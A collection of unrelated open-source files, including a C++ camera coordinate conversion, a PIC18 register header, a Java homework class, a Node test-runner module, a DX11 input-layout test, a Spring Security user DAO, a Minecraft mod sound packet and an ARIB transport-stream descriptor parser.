strcpy (saved_overlay[lp].mapovl[ii].gname,
overlay[lp].mapovl[ii].gname);
strcpy (saved_overlay[lp].mapovl[ii].title,
overlay[lp].mapovl[ii].title);
saved_overlay[lp].mapovl[ii].active = overlay[lp].mapovl[ii].active;
}
}
}
/*=====================================================================*/
|
cpreh/spacegameengine | libs/camera/src/camera/spherical/coordinate_system/to_camera_coordinate_system.cpp | // Copyright <NAME> 2006 - 2019.
// Distributed under the Boost Software License, Version 1.0.
// (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
#include <sge/camera/coordinate_system/object.hpp>
#include <sge/camera/spherical/coordinate_system/object.hpp>
#include <sge/camera/spherical/coordinate_system/to_camera_coordinate_system.hpp>
#include <sge/renderer/vector2.hpp>
#include <sge/renderer/vector3.hpp>
#include <fcppt/assert/optional_error.hpp>
#include <fcppt/math/vector/arithmetic.hpp>
#include <fcppt/math/vector/cross.hpp>
#include <fcppt/math/vector/hypersphere_to_cartesian.hpp>
#include <fcppt/math/vector/normalize.hpp>
namespace
{
sge::renderer::vector3
spherical_coordinates(sge::camera::spherical::coordinate_system::object const &_coordinate_system)
{
sge::renderer::vector3 const hypersphere_coords{
fcppt::math::vector::hypersphere_to_cartesian(sge::renderer::vector2{
_coordinate_system.inclination().get(), _coordinate_system.azimuth().get()})};
return sge::renderer::vector3{
hypersphere_coords.y(), hypersphere_coords.x(), hypersphere_coords.z()};
}
}
sge::camera::coordinate_system::object
sge::camera::spherical::coordinate_system::to_camera_coordinate_system(
spherical::coordinate_system::object const &_coordinate_system,
spherical::origin const &_origin)
{
sge::camera::coordinate_system::forward const forward_vector(
spherical_coordinates(_coordinate_system));
sge::camera::coordinate_system::position const position_vector(
_origin.get() + _coordinate_system.radius().get() * forward_vector.get());
sge::camera::coordinate_system::right const right_vector(
FCPPT_ASSERT_OPTIONAL_ERROR(fcppt::math::vector::normalize(fcppt::math::vector::cross(
forward_vector.get(), sge::renderer::vector3{0.0F, 1.0F, 0.0F}))));
// No need to normalize here
sge::camera::coordinate_system::up const up_vector(
fcppt::math::vector::cross(right_vector.get(), forward_vector.get()));
return sge::camera::coordinate_system::object(
right_vector, up_vector, forward_vector, position_vector);
}
|
NikolayMakhonin/postcss-js-syntax-editor | dist/js/test/tests/common/main/main.js | "use strict";
var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");
var _main = _interopRequireDefault(require("../../../../main/common/main"));
describe('common > main > main', function () {
it('base', function () {
_main.default.main('test');
});
}); |
tiborsimon/embedded-tdd-headers | pic/pic18/pic18f2439_tdd.h | /* Generated on 2016-07-26
===============================================================================
P I C T D D R E A D Y R E G I S T E R D E F I N I T I O N
===============================================================================
Created by <NAME> - <EMAIL>
Generator script: https://github.com/tiborsimon/pic-definition-converter
Based on the register definition header file v1.37 provided by Microchip.
Original definition date and license: */
// Generated 11/03/2016 GMT
/*
* Copyright © 2016, Microchip Technology Inc. and its subsidiaries ("Microchip")
* All rights reserved.
*
* This software is developed by Microchip Technology Inc. and its subsidiaries ("Microchip").
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list
* of conditions and the following disclaimer in the documentation and/or other
* materials provided with the distribution.
*
* 3. Microchip's name may not be used to endorse or promote products derived from this
* software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY MICROCHIP "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL MICROCHIP BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING BUT NOT LIMITED TO
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWSOEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
* */
#ifndef _PIC18F2439_H_
#define _PIC18F2439_H_
#define PORTA 0
#define ULPWUIN 1
#define AN0 2
#define PORTA_RA0 3
#define AN1 4
#define PORTA_RA1 5
#define AN2 6
#define PORTA_RA2 7
#define VREFM 8
#define AN3 9
#define PORTA_RA3 10
#define VREFP 11
#define PORTA_RA4 12
#define T0CKI 13
#define AN4 14
#define PORTA_RA5 15
#define LVDIN 16
#define SS 17
#define PORTA_RA6 18
#define OSC2 19
#define CLK0 20
#define PORTB 21
#define PORTB_RB0 22
#define INT0 23
#define PORTB_RB1 24
#define INT1 25
#define INT2 26
#define PORTB_RB2 27
#define CCP2_PA2 28
#define PORTB_RB3 29
#define INT3 30
#define PORTB_RB4 31
#define PORTB_RB5 32
#define PORTB_RB6 33
#define PORTB_RB7 34
#define PORTC 35
#define T1CKI 36
#define T1OSO 37
#define PORTC_RC0 38
#define CCP2 39
#define T1OSI 40
#define PA2 41
#define PORTC_RC1 42
#define CCP1 43
#define PA1 44
#define PORTC_RC2 45
#define SCL 46
#define SCK 47
#define PORTC_RC3 48
#define SDA 49
#define SDI 50
#define PORTC_RC4 51
#define SDO 52
#define PORTC_RC5 53
#define TX 54
#define CK 55
#define PORTC_RC6 56
#define DT 57
#define RX 58
#define PORTC_RC7 59
#define LATA 60
#define LATA0 61
#define LA0 62
#define LATA1 63
#define LA1 64
#define LATA2 65
#define LA2 66
#define LATA3 67
#define LA3 68
#define LATA4 69
#define LA4 70
#define LATA5 71
#define LA5 72
#define LATA6 73
#define LA6 74
#define LATB 75
#define LB0 76
#define LATB0 77
#define LB1 78
#define LATB1 79
#define LB2 80
#define LATB2 81
#define LB3 82
#define LATB3 83
#define LB4 84
#define LATB4 85
#define LB5 86
#define LATB5 87
#define LB6 88
#define LATB6 89
#define LB7 90
#define LATB7 91
#define LATC 92
#define LATC0 93
#define LC0 94
#define LATC1 95
#define LC1 96
#define LATC2 97
#define LC2 98
#define LATC3 99
#define LC3 100
#define LATC4 101
#define LC4 102
#define LATC5 103
#define LC5 104
#define LATC6 105
#define LC6 106
#define LATC7 107
#define LC7 108
#define TRISA 109
#define TRISA_RA0 110
#define TRISA0 111
#define TRISA_RA1 112
#define TRISA1 113
#define TRISA2 114
#define TRISA_RA2 115
#define TRISA_RA3 116
#define TRISA3 117
#define TRISA_RA4 118
#define TRISA4 119
#define TRISA_RA5 120
#define TRISA5 121
#define TRISA_RA6 122
#define TRISA6 123
#define RA7 124
#define TRISB 125
#define TRISB_RB0 126
#define TRISB0 127
#define TRISB_RB1 128
#define TRISB1 129
#define TRISB_RB2 130
#define TRISB2 131
#define TRISB_RB3 132
#define TRISB3 133
#define TRISB_RB4 134
#define TRISB4 135
#define TRISB_RB5 136
#define TRISB5 137
#define TRISB_RB6 138
#define TRISB6 139
#define TRISB_RB7 140
#define TRISB7 141
#define TRISC 142
#define TRISC0 143
#define TRISC_RC0 144
#define TRISC_RC1 145
#define TRISC_RC2 146
#define TRISC3 147
#define TRISC_RC3 148
#define TRISC4 149
#define TRISC_RC4 150
#define TRISC5 151
#define TRISC_RC5 152
#define TRISC6 153
#define TRISC_RC6 154
#define TRISC7 155
#define TRISC_RC7 156
#define PIE1 157
#define TMR1IE 158
#define TMR2IE 159
#define CCP1IE 160
#define SSPIE 161
#define TXIE 162
#define TX1IE 163
#define RCIE 164
#define RC1IE 165
#define ADIE 166
#define PSPIE 167
#define PIR1 168
#define TMR1IF 169
#define TMR2IF 170
#define CCP1IF 171
#define SSPIF 172
#define TXIF 173
#define TX1IF 174
#define RCIF 175
#define RC1IF 176
#define ADIF 177
#define PSPIF 178
#define IPR1 179
#define TMR1IP 180
#define TMR2IP 181
#define CCP1IP 182
#define SSPIP 183
#define TX1IP 184
#define TXIP 185
#define RC1IP 186
#define RCIP 187
#define ADIP 188
#define PSPIP 189
#define PIE2 190
#define CCP2IE 191
#define TMR3IE 192
#define LVDIE 193
#define BCLIE 194
#define EEIE 195
#define PIR2 196
#define CCP2IF 197
#define TMR3IF 198
#define LVDIF 199
#define BCLIF 200
#define EEIF 201
#define IPR2 202
#define CCP2IP 203
#define TMR3IP 204
#define LVDIP 205
#define BCLIP 206
#define EEIP 207
#define EECON1 208
#define RD 209
#define WR 210
#define WREN 211
#define WRERR 212
#define FREE 213
#define CFGS 214
#define EEFS 215
#define EEPGD 216
#define RCSTA 217
#define RCD8 218
#define RX9D 219
#define OERR 220
#define FERR 221
#define ADDEN 222
#define CREN 223
#define SRENA 224
#define SREN 225
#define RC9 226
#define RC8_9 227
#define RX9 228
#define SPEN 229
#define TXSTA 230
#define TXD8 231
#define TX9D1 232
#define TX9D 233
#define TRMT 234
#define TRMT1 235
#define BRGH1 236
#define BRGH 237
#define SYNC 238
#define SYNC1 239
#define TXEN1 240
#define TXEN 241
#define TX91 242
#define TX8_9 243
#define TX9 244
#define CSRC1 245
#define CSRC 246
#define T3CON 247
#define TMR3ON 248
#define TMR3CS 249
#define nT3SYNC 250
#define NOT_T3SYNC 251
#define T3SYNC 252
#define SOSCEN3 253
#define T3CCP1 254
#define T3CKPS 255
#define T3CKPS0 256
#define T3CKPS1 257
#define T3CCP2 258
#define T3CON_RD16 259
#define RD163 260
#define T3RD16 261
#define CCP2CON 262
#define CCP2M0 263
#define CCP2M1 264
#define CCP2M2 265
#define CCP2M3 266
#define DC2B0 267
#define CCP2Y 268
#define DC2B1 269
#define DCCPX 270
#define CCP2X 271
#define CCP1CON 272
#define CCP1M0 273
#define CCP1M1 274
#define CCP1M2 275
#define CCP1M3 276
#define CCP1Y 277
#define DC1B0 278
#define CCP1X 279
#define DC1B1 280
#define P1M0 281
#define P1M1 282
#define ADCON1 283
#define PCFG0 284
#define PCFG 285
#define PCFG1 286
#define PCFG2 287
#define CHSN3 288
#define PCFG3 289
#define ADCS2 290
#define ADFM 291
#define ADCON0 292
#define ADON 293
#define nDONE 294
#define GO_nDONE 295
#define GO_DONE 296
#define NOT_DONE 297
#define GODONE 298
#define DONE 299
#define GO 300
#define GO_NOT_DONE 301
#define CHS 302
#define CHS0 303
#define CHS1 304
#define CHS2 305
#define ADCS 306
#define ADCS0 307
#define ADCAL 308
#define ADCS1 309
#define SSPCON2 310
#define SEN 311
#define RSEN 312
#define PEN 313
#define RCEN 314
#define ACKEN 315
#define ACKDT 316
#define ACKSTAT 317
#define GCEN 318
#define SSPCON1 319
#define SSPM0 320
#define SSPM 321
#define SSPM1 322
#define SSPM2 323
#define SSPM3 324
#define CKP 325
#define SSPEN 326
#define SSPOV 327
#define WCOL 328
#define SSPSTAT 329
#define BF 330
#define UA 331
#define R_NOT_W 332
#define R_nW 333
#define RW 334
#define NOT_W 335
#define R_W 336
#define START 337
#define S 338
#define STOP 339
#define P 340
#define D_nA 341
#define D_A 342
#define DA 343
#define D_NOT_A 344
#define NOT_A 345
#define CKE 346
#define SMP 347
#define T2CON 348
#define T2CKPS0 349
#define T2CKPS1 350
#define TMR2ON 351
#define TOUTPS0 352
#define TOUTPS1 353
#define TOUTPS2 354
#define TOUTPS3 355
#define PR2 356
#define WM0 357
#define WM1 358
#define WAIT0 359
#define WAIT1 360
#define EBDIS 361
#define T1CON 362
#define TMR1ON 363
#define TMR1CS 364
#define NOT_T1SYNC 365
#define T1SYNC 366
#define nT1SYNC 367
#define T1OSCEN 368
#define SOSCEN 369
#define T1CKPS0 370
#define T1CKPS 371
#define T1CKPS1 372
#define T1CON_RD16 373
#define T1RD16 374
#define RCON 375
#define BOR 376
#define NOT_BOR 377
#define nBOR 378
#define POR 379
#define nPOR 380
#define NOT_POR 381
#define nPD 382
#define NOT_PD 383
#define PD 384
#define NOT_TO 385
#define nTO 386
#define TO 387
#define nRI 388
#define NOT_RI 389
#define RI 390
#define nIPEN 391
#define IPEN 392
#define NOT_IPEN 393
#define WDTCON 394
#define SWDTE 395
#define SWDTEN 396
#define LVDCON 397
#define LVDL0 398
#define LVDL 399
#define LVDL1 400
#define LVDL2 401
#define LVDL3 402
#define LVDEN 403
#define IRVST 404
#define OSCCON 405
#define SCS 406
#define T0CON 407
#define T0PS 408
#define T0PS0 409
#define T0PS1 410
#define T0PS2 411
#define PSA 412
#define T0SE 413
#define T0CS 414
#define T08BIT 415
#define TMR0ON 416
#define STATUS 417
#define C 418
#define CARRY 419
#define DC 420
#define ZERO 421
#define Z 422
#define OV 423
#define OVERFLOW 424
#define N 425
#define NEGATIVE 426
#define INTCON3 427
#define INT1IF 428
#define INT1F 429
#define INT2IF 430
#define INT2F 431
#define INT1E 432
#define INT1IE 433
#define INT2IE 434
#define INT2E 435
#define INT1P 436
#define INT1IP 437
#define INT2IP 438
#define INT2P 439
#define INTCON2 440
#define RBIP 441
#define INT3P 442
#define TMR0IP 443
#define T0IP 444
#define INTEDG3 445
#define INTEDG2 446
#define INTEDG1 447
#define INTEDG0 448
#define RBPU 449
#define NOT_RBPU 450
#define nRBPU 451
#define INTCON 452
#define RBIF 453
#define INT0F 454
#define INT0IF 455
#define T0IF 456
#define TMR0IF 457
#define RBIE 458
#define INT0E 459
#define INT0IE 460
#define T0IE 461
#define TMR0IE 462
#define PEIE 463
#define PEIE_GIEL 464
#define GIEL 465
#define GIE_GIEH 466
#define GIE 467
#define GIEH 468
#define STKPTR0 469
#define STKPTR 470
#define STKPTR1 471
#define STKPTR2 472
#define STKPTR3 473
#define STKPTR4 474
#define STKUNF 475
#define STKFUL 476
#endif // _PIC18F2439_H_
|
ghorbanzade/UMB-CS114-2015F | src/main/java/hw05/CharacterBox.java | <reponame>ghorbanzade/UMB-CS114-2015F
/**
* UMB-CS114-2015F: Introduction to Programming in Java
* Copyright 2015 <NAME> <<EMAIL>>
* More info: https://github.com/ghorbanzade/UMB-CS114-2015F
*/
package edu.umb.cs114.hw05.q02;
/**
* This class defines a container for the magnetic characters. It provides an
* abstraction layer for developing the processing logic of the program.
*
* @author <NAME>
* @see MagneticCharacter
*/
public class CharacterBox {
/**
* A CharacterBox object is nothing more than a container of
* MagneticCharacter objects.
*/
private MagneticCharacter[] characters;
/**
* The constructor takes the string the user has provided, removes the
* whitespace out of it and fills the container with MagneticCharacter objects
* that represent the characters in the string.
*
* @param str the string literal given by the user
*/
public CharacterBox(String str) {
String content = str.replaceAll("\\s+", "");
this.characters = new MagneticCharacter[content.length()];
for (int i = 0; i < content.length(); i++) {
this.characters[i] = new MagneticCharacter(content.charAt(i));
}
}
/**
* This method will take a string corresponding to the requested message
* to be put on the sign board and checks if the string can be constructed
* using available magnetic characters.
*
* @param str the proposed message to be checked
* @return the character we are short of
*/
public char check(String str) {
String message = str.replaceAll("\\s+", "");
for (int i = 0; i < message.length(); i++) {
boolean notFound = true;
for (int j = 0; j < this.characters.length; j++) {
if (this.characters[j].isNotUsed()) {
if (this.characters[j].getValue() == message.charAt(i)) {
this.characters[j].use();
notFound = false;
break;
}
}
}
if (notFound) {
return message.charAt(i);
}
}
return '#';
}
}
|
jreicheneker/harvey | index.js | var fs = require('fs');
var path = require('path');
var glob = require('glob');
var clone = require('clone');
var http = require('http');
var https = require('https');
var _ = require('underscore');
module.exports = Harvey = function() {
var SuiteBuilder = require('./lib/suiteBuilder.js');
var HarveyStatus = require('./lib/util/status.js');
var actionFactory = require('./lib/actions/actionFactory.js');
http.globalAgent.maxSockets = 100;
https.globalAgent.maxSockets = 100;
var _status = new HarveyStatus();
var _suiteBuilder = new SuiteBuilder();
var getTestStats = function(suiteResults) {
var stats = {
"testsExecuted": 0,
"testsFailed": 0,
"testsSkipped": 0,
"validationsPerformed": 0,
"validationsFailed": 0
};
for (var i = 0; i < suiteResults.suiteStepResults.length; i++) {
if (_.isArray(suiteResults.suiteStepResults[i])) {
var testResults = suiteResults.suiteStepResults[i];
for (var j = 0; j < testResults.length; j++) {
var testResult = testResults[j];
if (testResult.skipped) {
stats.testsSkipped++;
} else {
stats.testsExecuted++;
if (!testResult.passed) stats.testsFailed++;
for (var k = 0; k < testResult.testStepResults.length; k++) {
var testStepResult = testResult.testStepResults[k];
for (var l = 0; l < testStepResult.validationResults.length; l++) {
var validationResult = testStepResult.validationResults[l];
stats.validationsPerformed++;
if (!validationResult.valid) stats.validationsFailed++;
}
}
}
}
}
}
return stats;
}
this.addCustomAction = function(actionName, actionLocation) {
actionLocation = path.resolve(actionLocation);
if(!fs.existsSync(actionLocation)) {
throw new Error('Unable to find action \'' + actionName + '\' at location \'' + actionLocation + '\'');
}
actionFactory.addAction(actionName, actionLocation);
};
this.run = function(suite, config, callback) {
//Start a new call stack when invoking harvey so that all status callbacks
//have a consistent scope
setTimeout(function() {
try {
var suiteInvoker = _suiteBuilder.buildSuite(clone(suite, false), clone(config, false), _status);
var suiteStarted = new Date();
suiteInvoker(function(error, suiteResult) {
if (error) {
return callback(error);
}
var stats = getTestStats(suiteResult);
stats.suiteId = suite.id;
stats.suiteName = suite.name;
stats.timeStarted = suiteStarted;
stats.timeEnded = new Date();
stats.testResults = suiteResult;
callback(null, stats);
});
}
catch(error) {
callback(error);
}
}, 1);
};
//Expose all of the methods for tying in to the status events
this.onSuiteStarting = _status.onSuiteStarting;
this.onSuiteCompleted = _status.onSuiteCompleted;
this.onSuiteSetupStarting = _status.onSuiteSetupStarting;
this.onSuiteSetupCompleted = _status.onSuiteSetupCompleted;
this.onSuiteTeardownStarting = _status.onSuiteTeardownStarting;
this.onSuiteTeardownCompleted = _status.onSuiteTeardownCompleted;
this.onTestGroupStarting = _status.onTestGroupStarting;
this.onTestGroupCompleted = _status.onTestGroupCompleted;
this.onTestSetupStarting = _status.onTestSetupStarting;
this.onTestSetupCompleted = _status.onTestSetupCompleted;
this.onTestTeardownStarting = _status.onTestTeardownStarting;
this.onTestTeardownCompleted = _status.onTestTeardownCompleted;
this.onTestStarting = _status.onTestStarting;
this.onTestCompleted = _status.onTestCompleted;
this.onRequestStarting = _status.onRequestStarting;
this.onRequestCompleted = _status.onRequestCompleted;
this.onRequestFailed = _status.onRequestFailed;
}; |
untgames/funner | components/render/dx11_driver/tests/device/all_input_states.cpp | <gh_stars>1-10
#include "shared.h"
//size_t output_mode = OutputMode_Default;
size_t output_mode = OutputMode_All;
size_t total_tests = 0;
size_t success_tests = 0;
size_t wrong_tests = 0;
size_t fail_tests = 0;
void print_input_layout_desc(const InputLayoutDesc& desc)
{
static const char* header_names[] = {"Buffer", "Data type", "Data format", "Semantic", "Slot", "Offset", "Stride"};
static const char* buffer_names[] = {"Index", "Vertex 0", "Vertex 1", "Vertex 2", "Vertex 3", "Vertex 4", "Vertex 5", "Vertex 6", "Vertex 7"};
static const char* filler = " ";
printf("InputLayout parameters:\n");
printf("=====================================================================================================================================\n");
printf(" %-10s | %-24s | %-24s | %-36s | %-4s | %-8s | %-6s\n",
header_names[0], header_names[1], header_names[2], header_names[3], header_names[4], header_names[5], header_names[6]);
printf("-------------------------------------------------------------------------------------------------------------------------------------\n");
printf(" %-10s | %-24s | %-24s | %-36s | %-4s | %-8d | %-6s\n",
buffer_names[0], get_name(desc.index_type), filler, filler, filler, desc.index_buffer_offset, filler);
for (size_t i = 0; i < desc.vertex_attributes_count; i++)
{
printf(" %-10s | %-24s | %-24s | %-36s | %-4d | %-8d | %-6d\n",
buffer_names[i + 1],
get_name(desc.vertex_attributes[i].type),
get_name(desc.vertex_attributes[i].format),
desc.vertex_attributes[i].semantic,
desc.vertex_attributes[i].slot,
desc.vertex_attributes[i].offset,
desc.vertex_attributes[i].stride
);
}
printf("=====================================================================================================================================\n");
fflush(stdout);
}
void test_input_layout_desc(const InputLayoutDesc& desc, IDevice* device)
{
total_tests++;
try
{
device->GetImmediateContext ()->ISSetInputLayout(device->CreateInputLayout(desc));
device->GetImmediateContext ()->Draw(PrimitiveType_PointList, 0, 0);
// if (output_mode & OutputMode_Success)
{
print_input_layout_desc (desc);
printf ("Testing... OK\n");
fflush (stdout);
}
success_tests++;
}
// catch (xtl::argument_exception&)
// {
// wrong_tests++;
// }
catch (std::exception& exception)
{
// if (output_mode & OutputMode_Fail)
{
print_input_layout_desc (desc);
printf ("Testing... FAIL! exception: %s\n", exception.what ());
fflush (stdout);
}
fail_tests++;
}
}
void log_print (const char* stream, const char* message)
{
printf ("%s: %s\n", stream, message);
}
int main ()
{
printf ("Results of all_input_states_test:\n");
try
{
common::LogFilter filter ("*", &log_print);
Test test (L"DX11 device test window (all_input_states_test)", "debug=1");
output_mode = test.log_mode;
InputLayoutDesc desc;
BufferDesc index, vertex;
VertexAttribute attribs[8];
index.size = 1;
index.usage_mode = UsageMode_Default;
index.bind_flags = BindFlag_IndexBuffer;
index.access_flags = AccessFlag_ReadWrite;
vertex.size = 1;
vertex.usage_mode = UsageMode_Default;
vertex.bind_flags = BindFlag_VertexBuffer;
vertex.access_flags = AccessFlag_ReadWrite;
desc.vertex_attributes = attribs;
desc.vertex_attributes_count = 2;
for (size_t i = 0; i < desc.vertex_attributes_count; i++)
{
attribs[i].slot = 0;
attribs[i].offset = 0;
attribs[i].stride = 0;
}
desc.index_buffer_offset = 0;
test.device->GetImmediateContext ()->ISSetVertexBuffer(0, test.device.get()->CreateBuffer(vertex));
test.device->GetImmediateContext ()->ISSetIndexBuffer(test.device.get()->CreateBuffer(index));
for (int itype = 0; itype < InputDataType_Num; itype++)
{
desc.index_type = (InputDataType) itype;
for (int type1 = 0; type1 < InputDataType_Num; type1++)
{
attribs[0].type = (InputDataType) type1;
for (int format1 = 0; format1 < InputDataFormat_Num; format1++)
{
attribs[0].format = (InputDataFormat) format1;
for (int semantic1 = 0; semantic1 < VertexAttributeSemantic_Num; semantic1++)
{
attribs[0].semantic = test.device->GetVertexAttributeSemanticName ((VertexAttributeSemantic) semantic1);
for (int type2 = 0; type2 < InputDataType_Num; type2++)
{
attribs[1].type = (InputDataType) type2;
for (int format2 = 0; format2 < InputDataFormat_Num; format2++)
{
attribs[1].format = (InputDataFormat) format2;
for (int semantic2 = 0; semantic2 < VertexAttributeSemantic_Num; semantic2++)
{
attribs[1].semantic = test.device->GetVertexAttributeSemanticName ((VertexAttributeSemantic) semantic2);
test_input_layout_desc(desc, test.device.get());
}
}
}
}
}
}
}
printf ("Total tests count: %u\n", total_tests);
printf ("Success tests count: %u\n", success_tests);
printf ("Wrong tests count: %u\n", wrong_tests);
printf ("Fail tests count: %u\n", fail_tests);
}
catch (std::exception& exception)
{
printf ("exception: %s\n", exception.what ());
}
return 0;
}
|
PrinceDhaliwal/copta | include/jast/macros.h | #ifndef MACROS_H_
#define MACROS_H_
#ifndef DISABLE_COPY
#define DISABLE_COPY(className) \
className(const className &c) = delete; \
className &operator=(const className &c) = delete
#endif
#endif
|
kurien92/kreBLog | src/main/java/net/kurien/blog/common/aop/security/dao/CustomJdbcDaoImpl.java | package net.kurien.blog.common.aop.security.dao;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import org.springframework.jdbc.core.RowMapper;
import org.springframework.security.core.GrantedAuthority;
import org.springframework.security.core.authority.AuthorityUtils;
import org.springframework.security.core.authority.SimpleGrantedAuthority;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.core.userdetails.UsernameNotFoundException;
import org.springframework.security.core.userdetails.jdbc.JdbcDaoImpl;
import net.kurien.blog.common.aop.security.vo.AccountInfo;
public class CustomJdbcDaoImpl extends JdbcDaoImpl {
@Override
public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException {
List<UserDetails> users = loadUsersByUsername(username);
if(users.size() == 0) {
logger.debug("Query returned no results for user '" + username + "'");
UsernameNotFoundException ue = new UsernameNotFoundException(messages.getMessage("JdbcDaoImpl.notFound", new Object[] {username}, "Username {0} not found"));
throw ue;
}
AccountInfo user = (AccountInfo)users.get(0);
Set<GrantedAuthority> dbAuthSet = new HashSet<GrantedAuthority>();
if(getEnableAuthorities()) {
dbAuthSet.addAll(loadUserAuthorities(user.getUsername()));
}
if(getEnableGroups()) {
dbAuthSet.addAll(loadGroupAuthorities(user.getUsername()));
}
List<GrantedAuthority> dbAuths = new ArrayList<GrantedAuthority>(dbAuthSet);
user.setAuthorities(dbAuths);
if(dbAuths.size() == 0) {
logger.debug("User '" + username + "' has no authorities and will be treated as 'not found'");
UsernameNotFoundException ue = new UsernameNotFoundException(messages.getMessage("JdbcDaoImpl.noAuthority", new Object[] {username}, "User {0} has no GrantedAuthority"));
throw ue;
}
return user;
}
@Override
protected List<UserDetails> loadUsersByUsername(String username) {
// TODO Auto-generated method stub
return getJdbcTemplate().query(getUsersByUsernameQuery(), new String[] {username}, new RowMapper<UserDetails>() {
public UserDetails mapRow(ResultSet rs, int rowNum) throws SQLException {
String username = rs.getString(1);
String password = rs.getString(2);
String name = rs.getString(3);
return new AccountInfo(username, password, name, AuthorityUtils.NO_AUTHORITIES);
}
});
}
@Override
protected List<GrantedAuthority> loadUserAuthorities(String username) {
// TODO Auto-generated method stub
return getJdbcTemplate().query(getAuthoritiesByUsernameQuery(), new String[] {username}, new RowMapper<GrantedAuthority>() {
public GrantedAuthority mapRow(ResultSet rs, int rowNum) throws SQLException {
String roleName = getRolePrefix() + rs.getString(1);
return new SimpleGrantedAuthority(roleName);
}
});
}
@Override
protected List<GrantedAuthority> loadGroupAuthorities(String username) {
// TODO Auto-generated method stub
return super.loadGroupAuthorities(username);
}
}
|
Revan-7/Hbm-s-Nuclear-Tech-GIT | com/hbm/packet/LoopedEntitySoundPacket.java | package com.hbm.packet;
import org.lwjgl.opengl.GL11;
import com.hbm.entity.logic.EntityBomber;
import com.hbm.main.ResourceManager;
import com.hbm.sound.MovingSoundBomber;
import com.hbm.sound.SoundLoopAssembler;
import com.hbm.sound.SoundLoopBroadcaster;
import com.hbm.sound.SoundLoopCentrifuge;
import com.hbm.sound.SoundLoopChemplant;
import com.hbm.sound.SoundLoopIGen;
import com.hbm.sound.SoundLoopMiner;
import com.hbm.sound.SoundLoopTurbofan;
import com.hbm.tileentity.machine.TileEntityBroadcaster;
import com.hbm.tileentity.machine.TileEntityMachineAssembler;
import com.hbm.tileentity.machine.TileEntityMachineCentrifuge;
import com.hbm.tileentity.machine.TileEntityMachineChemplant;
import com.hbm.tileentity.machine.TileEntityMachineGasCent;
import com.hbm.tileentity.machine.TileEntityMachineIGenerator;
import com.hbm.tileentity.machine.TileEntityMachineMiningDrill;
import com.hbm.tileentity.machine.TileEntityMachineTurbofan;
import cpw.mods.fml.common.network.simpleimpl.IMessage;
import cpw.mods.fml.common.network.simpleimpl.IMessageHandler;
import cpw.mods.fml.common.network.simpleimpl.MessageContext;
import cpw.mods.fml.relauncher.Side;
import cpw.mods.fml.relauncher.SideOnly;
import io.netty.buffer.ByteBuf;
import net.minecraft.client.Minecraft;
import net.minecraft.entity.Entity;
import net.minecraft.tileentity.TileEntity;
import net.minecraft.util.ResourceLocation;
public class LoopedEntitySoundPacket implements IMessage {
int entityID;
public LoopedEntitySoundPacket()
{
}
public LoopedEntitySoundPacket(int entityID)
{
this.entityID = entityID;
}
@Override
public void fromBytes(ByteBuf buf) {
entityID = buf.readInt();
}
@Override
public void toBytes(ByteBuf buf) {
buf.writeInt(entityID);
}
public static class Handler implements IMessageHandler<LoopedEntitySoundPacket, IMessage> {
@Override
//Tamaized, I love you!
@SideOnly(Side.CLIENT)
public IMessage onMessage(LoopedEntitySoundPacket m, MessageContext ctx) {
Entity e = Minecraft.getMinecraft().theWorld.getEntityByID(m.entityID);
if(e instanceof EntityBomber) {
int n = 1;
int x = e.getDataWatcher().getWatchableObjectByte(16);
switch(x) {
case 0:
case 1:
case 2:
case 3:
case 4: n = 2; break;
case 5:
case 6:
case 7:
case 8: n = 1; break;
default: n = 2; break;
}
boolean flag = true;
for(int i = 0; i < MovingSoundBomber.globalSoundList.size(); i++) {
if(MovingSoundBomber.globalSoundList.get(i).bomber == e && !MovingSoundBomber.globalSoundList.get(i).isDonePlaying())
flag = false;
}
if(flag) {
if(n == 2)
Minecraft.getMinecraft().getSoundHandler().playSound(new MovingSoundBomber(new ResourceLocation("hbm:entity.bomberSmallLoop"), (EntityBomber)e));
if(n == 1)
Minecraft.getMinecraft().getSoundHandler().playSound(new MovingSoundBomber(new ResourceLocation("hbm:entity.bomberLoop"), (EntityBomber)e));
}
}
return null;
}
}
}
|
otya128/node-aribts | src/descriptor/local_time_offset.js | "use strict";
const TsReader = require("../reader");
class TsDescriptorLocalTimeOffset {
constructor(buffer) {
this.buffer = buffer;
}
decode() {
let reader = new TsReader(this.buffer);
let objDescriptor = {};
objDescriptor._raw = this.buffer;
objDescriptor.descriptor_tag = reader.uimsbf(8);
objDescriptor.descriptor_length = reader.uimsbf(8);
objDescriptor.local_time_offsets = [];
while (reader.position >> 3 < 2 + objDescriptor.descriptor_length) {
let local_time_offset = {};
local_time_offset.country_code = reader.readBytes(3);
local_time_offset.country_region_id = reader.bslbf(6);
reader.next(1); // reserved
local_time_offset.local_time_offset_polarity = reader.bslbf(1);
local_time_offset.local_time_offset = reader.readBytes(2);
local_time_offset.time_of_change = reader.readBytes(5);
local_time_offset.next_time_offset = reader.readBytes(2);
objDescriptor.local_time_offsets.push(local_time_offset);
}
return objDescriptor;
}
}
module.exports = TsDescriptorLocalTimeOffset;
|
skei/MIP2 | include/plugin/mip_audio_port.h | <gh_stars>1-10
#ifndef mip_audio_port_included
#define mip_audio_port_included
